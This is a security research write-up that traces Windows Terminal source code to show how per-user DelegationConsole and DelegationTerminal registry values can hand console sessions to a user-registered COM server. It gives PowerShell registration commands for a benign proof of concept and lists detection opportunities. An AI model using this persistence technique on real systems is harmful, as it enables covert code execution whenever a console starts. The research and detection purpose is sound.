Introduction#

Windows lets a user choose a "default terminal" for console applications. In the registry, a user can set registry values DelegationConsole and DelegationTerminal under HKCU\Console\%%Startup.

When both values resolve to non-default CLSIDs, conhost.exe can treat the pair as a custom delegation target.

Because these values live under HKCU, a normal user can point them at user-controlled COM registrations.

Let's test this out :)

This writeup is a source analysis of the Windows terminal from commit 84ae7adec6b3975314d8ca73d8f0bf2128ae59e2.

Feel free to jump directly to the PoC if you are not interested in the source analysis - Windows Terminal - Custom Console Handoff

Finding The Pair#

The key names are defined in src/propslib/DelegationConfig.cpp.

#define DELEGATION_CONSOLE_KEY_NAME L"DelegationConsole"
#define DELEGATION_TERMINAL_KEY_NAME L"DelegationTerminal"

The lookup for these occurs in src/propslib/DelegationConfig.cpp.

[[nodiscard]] DelegationConfig::DelegationPair DelegationConfig::s_GetDelegationPair() noexcept
{
    wil::unique_hkey currentUserKey;
    wil::unique_hkey consoleKey;
    wil::unique_hkey startupKey;
    if (FAILED_NTSTATUS_LOG(RegistrySerialization::s_OpenConsoleKey(&currentUserKey, &consoleKey)) ||
        FAILED_NTSTATUS_LOG(RegistrySerialization::s_OpenKey(consoleKey.get(), L"%%Startup", &startupKey)))
    {
        return DefaultDelegationPair;
    }
 
    static constexpr const wchar_t* keys[2]{ DELEGATION_CONSOLE_KEY_NAME, DELEGATION_TERMINAL_KEY_NAME };
    // values[0]/[1] will contain the delegation console/terminal
    // respectively if set to a valid value within the registry.
    IID values[2]{ CLSID_Default, CLSID_Default };
    ...
    ...
    ...
    if (values[0] == CLSID_Default || values[1] == CLSID_Default)
    {
        return DefaultDelegationPair;
    }
    if (values[0] == CLSID_Conhost || values[1] == CLSID_Conhost)
    {
        return ConhostDelegationPair;
    }
    return { DelegationPairKind::Custom, values[0], values[1] };
}

From the code above, we infer a couple of useful takeaways.

  • If either value is missing, malformed, fails to parse, or resolves to {00000000-0000-0000-0000-000000000000}, the pair falls back to Default.
  • If either side is the built-in conhost CLSID, the pair drops back to Conhost.
  • To land in the interesting Custom branch, both values need to be populated with non-default and non-conhost CLSIDs.

The pair itself is defined in src/propslib/DelegationConfig.hpp, where the Windows Terminal path is a two-part mapping:

  • A CLSID for the console-side handoff object
  • A CLSID for the terminal/UI-side handoff object.
static constexpr CLSID CLSID_Default{};
static constexpr CLSID CLSID_Conhost{ 0xb23d10c0, 0xe52e, 0x411e, { 0x9d, 0x5b, 0xc0, 0x9f, 0xdf, 0x70, 0x9c, 0x7d } };
...
static constexpr DelegationPair DefaultDelegationPair{ DelegationPairKind::Default, CLSID_Default, CLSID_Default };
static constexpr DelegationPair ConhostDelegationPair{ DelegationPairKind::Conhost, CLSID_Conhost, CLSID_Conhost };
static constexpr DelegationPair TerminalDelegationPair{ DelegationPairKind::Custom, CLSID_WindowsTerminalConsole, CLSID_WindowsTerminalTerminal };

So, from all of this, we now know that we have to set both registry values to a custom CLSID to get into the Custom state.

Note that they don't have to be the same CLSID, but for simplicity in a PoC we can just use the same one for both.

The Handoff Starts#

The default conhost.exe loads the pair during startup in ConsoleServerInitialization located in src/host/srvinit.cpp by calling s_GetDelegationPair()

[[nodiscard]] HRESULT ConsoleServerInitialization(_In_ HANDLE Server, const ConsoleArguments* const args)
try
{
    ...
    ...
    if (Globals.delegationPair.IsUndecided())
    {
        Globals.delegationPair = DelegationConfig::s_GetDelegationPair();
        ...
        ...
        ...
    }
    if (Globals.delegationPair.IsDefault())
    {
        Globals.delegationPair = DelegationConfig::TerminalDelegationPair;
        Globals.defaultTerminalMarkerCheckRequired = true;
    }
    ...
    ...
}

Once a client connects, src/server/IoDispatchers.cpp decides if the session should be handed off by calling _shouldAttemptHandoff from attemptHandoff.

We start from ConsoleHandleConnectionRequest

PCONSOLE_API_MSG IoDispatchers::ConsoleHandleConnectionRequest(_In_ PCONSOLE_API_MSG pReceiveMsg)
{
    ...
    ...
    ...
    // If we pass the tests...
    // then attempt to delegate the startup to the registered replacement.
    attemptHandoff(Globals, gci, Cac, pReceiveMsg);
    ...
    ...
    ...
}

A call to attemptHandoff is made, which then calls _shouldAttemptHandoff to see if the session qualifies for delegation (it's just a bunch of complex conditions).

If every one of those checks passes, the session is considered interactive and we check if there is a handoff target in src/server/IoDispatchers.cpp:259-307 by checking the results of hasHandoffTarget

...
...
// _shouldAttemptHandoff does not check if there is a handoff target.
// this lets us break apart the check for logging purposes.
const bool shouldAttemptHandoff = _shouldAttemptHandoff(Globals, gci, cac);
if (!shouldAttemptHandoff)
{
    // Non-interactive session, don't hand it off; emit no log
    return;
}
 
// This session is interactive on the right desktop and window station
const bool hasHandoffTarget = Globals.delegationPair.IsCustom();
const bool handoffTargetChosenByWindows = Globals.defaultTerminalMarkerCheckRequired;
 
TraceLoggingWrite(..., "ConsoleHandoffSessionStarted", ...);
 
if (!hasHandoffTarget)
{
    return;
}
 
try
{
    // Go get ourselves some COM.
    auto coinit = wil::CoInitializeEx(COINIT_MULTITHREADED);
 
    // Get the class/interface to the handoff handler. Local machine only.
    ::Microsoft::WRL::ComPtr<IConsoleHandoff> handoff;
    THROW_IF_FAILED(CoCreateInstance(Globals.delegationPair.console, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&handoff)));
 
    // If we looked up the registered defterm pair, and it was left as the default (missing or {0}),
    // AND velocity is enabled for DxD, then we switched the delegation pair to Terminal, with a notice
    // that we still need to check whether Terminal actually wants to be the default Terminal.
    // See ConsoleServerInitialization.
    if (Globals.defaultTerminalMarkerCheckRequired)
    {
        ::Microsoft::WRL::ComPtr<IDefaultTerminalMarker> marker;
        if (FAILED(handoff.As(&marker)))
        {
            Globals.delegationPair = DelegationConfig::ConhostDelegationPair;
            Globals.defaultTerminalMarkerCheckRequired = false;
            return;
        }
    }
}
...
...

An important part for later to know is that the first CLSID that matters is DelegationConsole, not DelegationTerminal.
The console side is the one that gets activated first and it is expected to implement IConsoleHandoff.

A Small But Important Detail#

At this point I initially thought there might be some additional checks that would stop a random CLSID from being used. There is one, but only in a very specific case.

Right after the CoCreateInstance, attemptHandoff checks for IDefaultTerminalMarker if defaultTerminalMarkerCheckRequired is set (src/server/IoDispatchers.cpp:298-310).

if (Globals.defaultTerminalMarkerCheckRequired)
{
    ::Microsoft::WRL::ComPtr<IDefaultTerminalMarker> marker;
    if (FAILED(handoff.As(&marker)))
    {
        Globals.delegationPair = DelegationConfig::ConhostDelegationPair;
        Globals.defaultTerminalMarkerCheckRequired = false;
        return;
    }
}

But if you remember from the earlier snippet in ConsoleServerInitialization, that flag is only set when the pair was left in the Default state and Windows decides to fall back to the built-in Windows Terminal pair.

Meaning:

  • If Windows chooses the default terminal pair, the marker interface is checked
  • If a user explicitly sets a custom pair in the registry, that marker check is never reached

This means that a custom CLSID does not need to implement IDefaultTerminalMarker. It only needs to successfully return an object for IConsoleHandoff.

The shipped implementation does expose both interfaces in src/host/exe/CConsoleHandoff.h.

#include "IConsoleHandoff.h"
 
#if defined(WT_BRANDING_RELEASE)
#define __CLSID_CConsoleHandoff "2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69"
#elif defined(WT_BRANDING_PREVIEW)
#define __CLSID_CConsoleHandoff "06EC847C-C0A5-46B8-92CB-7C92F6E35CD5"
#elif defined(WT_BRANDING_CANARY)
#define __CLSID_CConsoleHandoff "A854D02A-F2FE-44A5-BB24-D03F4CF830D4"
#else
#define __CLSID_CConsoleHandoff "1F9F2BF5-5BC3-4F17-B0E6-912413F1F451"
#endif
 
using namespace Microsoft::WRL;
 
struct __declspec(uuid(__CLSID_CConsoleHandoff))
CConsoleHandoff : public RuntimeClass<RuntimeClassFlags<ClassicCom>, IConsoleHandoff, IDefaultTerminalMarker>
{
#pragma region IConsoleHandoff
    STDMETHODIMP EstablishHandoff(HANDLE server,
                                  HANDLE inputEvent,
                                  PCCONSOLE_PORTABLE_ATTACH_MSG msg,
                                  HANDLE signalPipe,
                                  HANDLE inboxProcess,
                                  HANDLE* process);
 
#pragma endregion
};
 
CoCreatableClass(CConsoleHandoff);

The shipped implementation exposes both interfaces because it has to satisfy the built-in default-terminal path and the official handoff IDL.

The Interface We Actually Need#

The handoff contract is defined in src/host/proxy/IConsoleHandoff.idl.

[object, uuid(E686C757-9A35-4A1C-B3CE-0BCC8B5C69F4)]
interface IConsoleHandoff : IUnknown
{
    HRESULT EstablishHandoff([in, system_handle(sh_file)] HANDLE server,
                             [in, system_handle(sh_event)] HANDLE inputEvent,
                             [in, ref] PCCONSOLE_PORTABLE_ATTACH_MSG msg,
                             [in, system_handle(sh_pipe)] HANDLE signalPipe,
                             [in, system_handle(sh_process)] HANDLE inboxProcess,
                             [out, system_handle(sh_process)] HANDLE* process);
};

And the official implementation in src/host/exe/CConsoleHandoff.cpp gives us a good idea of what happens next.

// Duplicate the handles from what we received.
// The contract with COM specifies that any HANDLEs we receive from the caller belong
// to the caller and will be freed when we leave the scope of this method.
// Making our own duplicate copy ensures they hang around in our lifetime.
RETURN_IF_FAILED(_duplicateHandle(server, server));
RETURN_IF_FAILED(_duplicateHandle(inputEvent, inputEvent));
RETURN_IF_FAILED(_duplicateHandle(signalPipe, signalPipe));
RETURN_IF_FAILED(_duplicateHandle(inboxProcess, inboxProcess));
 
// Now perform the handoff.
RETURN_IF_FAILED(ConsoleEstablishHandoff(server, inputEvent, signalPipe, inboxProcess, &apiMsg));

For a simple PoC, the requirement is that the DelegationConsole CLSID resolve to an out-of-proc COM server that can be activated as IConsoleHandoff.

One caveat is that IConsoleHandoff is a custom COM interface, that is registered through OpenConsoleProxy.dll. Which is fine for us, but if we want a truly independent PoC we can just define the same interface ourselves and implement it.

So the TL;DR needs are:

  • Register a COM class as LocalServer32
  • Make that class activatable as IConsoleHandoff
  • Achieve some side effect in EstablishHandoff

That should be enough for our small use case.

Testing The Theory#

To test this out, we can use a minimal COM server that implements IConsoleHandoff::EstablishHandoff and simply writes a marker file to %TEMP% before opening it with notepad.exe.

The registration side is just standard per-user COM under HKCU\Software\Classes\CLSID\{GUID}\LocalServer32.

$clsid = '{11111111-2222-3333-4444-555555555555}'
$exe   = (Resolve-Path .\poc_handoff.exe).Path
 
New-Item -Path "Registry::HKEY_CURRENT_USER\Software\Classes\CLSID\$clsid" -Force | Out-Null
Set-Item -Path "Registry::HKEY_CURRENT_USER\Software\Classes\CLSID\$clsid" -Value 'PocHandoff'
New-Item -Path "Registry::HKEY_CURRENT_USER\Software\Classes\CLSID\$clsid\LocalServer32" -Force | Out-Null
Set-Item -Path "Registry::HKEY_CURRENT_USER\Software\Classes\CLSID\$clsid\LocalServer32" -Value "`"$exe`" -Embedding"

Then set the pair under HKCU\Console\%%Startup.

$startup = 'Registry::HKEY_CURRENT_USER\Console\%%Startup'
New-Item -Path $startup -Force | Out-Null
Set-ItemProperty -Path $startup -Name 'DelegationConsole'  -Value $clsid -Type String
Set-ItemProperty -Path $startup -Name 'DelegationTerminal' -Value $clsid -Type String

Now, we only need to launch something interactive like cmd.exe to trigger the handoff path.

Demo#

Below is a quick demo of the handoff in action.

Detection Opportunities#

There are a couple of easy things to watch here.

  • Registry writes to HKCU\Console\%%Startup\DelegationConsole
  • Registry writes to HKCU\Console\%%Startup\DelegationTerminal
  • While, it can be noisy in some envs, monitoring uncommon new entries to HKCU\Software\Classes\CLSID\{GUID}\LocalServer32 can pay off.

Related Articles

Other threads in the archive worth reading next.